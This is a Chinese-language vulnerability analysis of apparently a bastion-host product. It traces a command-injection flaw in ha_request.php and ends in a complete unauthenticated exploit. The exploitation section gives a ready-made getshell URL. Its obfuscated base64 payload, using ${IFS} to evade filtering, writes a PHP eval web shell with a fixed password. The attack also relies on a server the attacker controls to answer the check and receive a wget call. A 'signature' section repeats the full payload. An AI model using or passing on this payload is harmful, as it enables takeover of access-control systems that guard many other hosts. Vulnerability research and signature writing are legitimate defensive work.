源代碼分析:
問題出現在 ha_request.php 文件,第 37 行的 exec 函數,$url 為用戶可控的變量,可見第 33 和 34 行。目光來到第 23 和 24 行,只要 node_request 函數的返回值為“OK”,即可跳過 fatal 函數(此函數為自定義函數,作用類似 PHP 內置的 exit 函數),繼續往下執行。Node_request 函數的定義在 include/common.php 文件中,見下圖 2。按照其原本的邏輯,其作用是請求$url,並返回其內容。根據代碼邏輯,
$url ="http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));
所以$url 變量值類似於
http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D
這樣的字符串。但是$req_ipaddr 和$req_node_id 均來自用戶輸入。因此,假設 10.20.10.11 為黑客可控的服務器,listener/cluster_manage.php 文件的內容為“<?php echo ‘OK’;>”,即可使得node_request 函數返回“OK”,從而跳過 fatal 函數,繼續往下執行來到 exec 函數。回到 exec 函數,此時該函數的第一個參數是這樣的,
"wget --no-check-certificatehttp://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2"
所以我們的 payload只能放在$req_node_id 變量中。見下圖3,$req_ipaddr和$req_node_id其實來自於$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],並做了全局過濾,刪除掉一些危險字符
圖片1
圖片2
圖片3
漏洞利用:
利用條件:
無需登錄
第一:
http://10.20.10.11/listener/cluster_manage.php 返回“OK”。
第二:
執行以下鏈接即可 getshell,執行成功后,生成 PHP 一句話馬/var/www/shterm/resources/qrcode/lbj77.php 密碼 10086,使用 BASE64 進行編碼。這里假設 10.20.10.10 為堡壘機的 IP 地址。
https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}
特征:
漏洞利用點:
https://10.20.10.10/ha_request.phpPoc 形式:${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}